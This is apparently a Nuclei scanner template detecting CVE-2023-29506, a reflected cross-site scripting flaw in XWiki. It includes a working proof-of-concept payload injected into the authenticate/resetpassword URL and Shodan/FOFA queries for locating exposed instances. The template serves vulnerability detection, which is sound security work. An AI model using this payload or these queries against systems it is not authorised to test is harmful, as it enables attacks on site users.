CVE-2023-29506: XWiki >= 13.10.8 - Cross-Site Scripting

id: CVE-2023-29506

info:
  name: XWiki >= 13.10.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Reflected XSS vulnerability in XWiki authenticate endpoints allows execution of arbitrary JavaScript.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Implement proper input validation and output encoding to prevent XSS attacks in the XWiki application.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-jjm5-5v9v-7hx2
    - https://jira.xwiki.org/browse/XWIKI-20335
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29506
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29506
    cwe-id: CWE-79
    epss-score: 0.47878
    epss-percentile: 0.97652
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/authenticate/wiki/xwiki%22onload=%22alert(document.domain)%22/resetpassword"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'wiki-xwiki"onload="alert(document.domain)"'
          - 'resetPasswordForm'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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